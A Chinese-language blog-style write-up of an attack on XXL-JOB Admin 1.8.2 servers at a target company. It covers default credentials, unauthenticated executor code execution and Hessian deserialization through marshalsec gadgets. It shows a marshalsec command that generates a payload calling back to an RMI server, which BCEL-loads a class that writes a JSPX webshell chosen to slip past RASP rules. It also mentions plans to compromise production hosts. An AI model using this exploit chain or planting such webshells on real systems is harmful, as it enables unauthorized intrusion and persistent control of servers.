Attack Xxl-Job Admin 1.8.2
本文记录一下遇到xxl-job1.8.2后攻击过程中做的一些研究、心得。
在目标公司的资产扫描中,发现xxl-job-admin(web控制台) ,共stg-server、prd-server-1、prd-server2 三个目标。其中stg为测试网段,attacker网络互通,这为我们通过RMI进行RCE提供了便利,而prd环境无法外联。
在攻击过程中经过一番测试,并对比不同版本的回显信息,可以确定stg-server、prd-server-1版本为1.8.2,prd-server2版本为1.9.2或2.0.2。在两台1.8.2机器上,我们均没有发现弱口令。
XXL-JOB简介
https://github.com/xuxueli/xxl-job/tree/v1.8.2
xxl-job是一款用JAVA编写的分布式定时任务管理工具,提供了admin-console
web控制端与executor
执行器客户端,因此我们需要在各机器上部署Executor
客户端,随后通过控制台下发自定义的任务。1.x版本中默认部署为war包形式(tomcat),2.x版本默认为sprint-boot jar。
在web控制台我们通过新增GLUE
模式的任务,在对应的executor
上可以执行任意代码。
控制台口令默认为admin/123456
,且在写于配置文件中;控制台的/API
接口的RcpRequest
调用与执行器调用都需要一个token,而该token默认为空,一般开发者不会设置,这也造成了执行器未授权访问RCE:
利用点与思路
先在这里说一下我们目前可以得到xxl-job控制台的攻击点:
①控制台弱口令:通过硬编码的弱口令登录后台,不过只能在执行器上执行命令,无法控制控制台;
②反序列化漏洞:通过Hessian反序列化攻击控制台,麻烦的是目前gadeget都是RMI形式,需要服务器能外联;
③未授权访问:xxl-job的api接口未授权访问中,executor有代码执行的业务功能所以能直接RCE,而在web-console情况下我们没有发现有价值的利用点。
关于者三台服务器,我们利用Hessian反序列化拿下了stg-server服务器,并通过阅读stg-server源码,拿到了可登录prd-server-1的密码,但prd-server-1的glue
模式被阉割调了,且prd-server-1与它相关的excutor均无法外联,所以我们最终没有拿下prd-server-1。prd-server-2也无法外联,但好在其glue
模式没有被阉割,所以成功拿下了prd-server-2,关于如何拿下prd-server-2,笔者会在下篇文章讲述这个牛与牛奶的故事。
xxl-job未授权RCE
github上关于xxl-job有如下未授权RCE利用工具:
1 | https://github.com/OneSourceCat/XxlJob-Hessian-RCE/blob/main/src/main/java/com/example/App.java |
通过研究代码,我们可以了解到,该工具利用未授权访问(空Token)下的executor
的glue代码执行功能,直接通过glue java
进行任意代码执行。另外注意到该工具使用的序列化方法是Hessian2 ,而1.8.2版本是Hessian 1,当然如果能利用,这点改改就好。
但控制台在启动时候,实例化的xxlJobDynamicScheduler
bean中,只放入了AdminBiz
,没有放入ExecutorBiz
,所以我们无法像利用excutor
未授权访问RCE一样来攻击控制台。
spring/applicationcontext-xxl-job-admin.xml:64
1 | <bean id="xxlJobDynamicScheduler" class="com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler" init-method="init" destroy-method="destroy" > |
com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler#init
:
com.xxl.job.core.rpc.netcom.NetComServerFactory#putService
:
Hessian反序列化
web控制台/Api
接口中,对用户POST的数据进行Hessian反序列化,反序列化后得到RpcRequest
对象,进行相关服务调用。
com.xxl.job.admin.controller.JobApiController
:
浏览marshalsec
的代码,通过HessianBase
实现的接口可以了解到,该关于Hessian
反序列化可利用的gadget共有如下5个:
1 | SpringPartiallyComparableAdvisorHolder :org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory |
关于xxl-job能利用的有Spring的两个,而且由于在JNDI解析过程中传入的requiredType
不为null
,导致无法利用LDAP远程加载任意类;另外服务器JDK版本不支持untrust
情况下的RMI,所以我们也无法直接利用RMI加载任意类。org.springframework.jndi.JndiTemplate#lookup(java.lang.String, java.lang.Class<T>)
RMI 加载BCEL
由于LDAP利用不了,参考这篇老外的翻译文章https://xz.aliyun.com/t/3787
可知,在RMI限制利用情况下,我们依然可以通过EL表达式这条路径来执行命令。但为了便捷与持久化,这里将代码修改为BCEL加载任意类,方便我们执行JAVA代码。
这里整简单点,直接在目标机器上写jspx (rasp最近新增jspx拦截规则)
这里的RMI服务器比较危险,而且与服务器不是在一个TCP会话中完成交互的,这里仅作demo:
1 | package com; |
TomcatWriteJsp代码
1 | package com.needle; |
利用过程
开启我们的JndiServer
,监听1097端口
通过marshalsec生成hessian
POC,并通过burpsuit
的Paste from file
功能将该二进制文件拷贝到Request
的Body中:
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian SpringAbstractBeanFactoryPointcutAdvisor rmi://127.0.0.1:1097/Object > marshalsec.hessian.bin |
发送我们的EXP即可成功在当前应用目录下写入webshell
Reference:
https://github.com/OneSourceCat/XxlJob-Hessian-RCE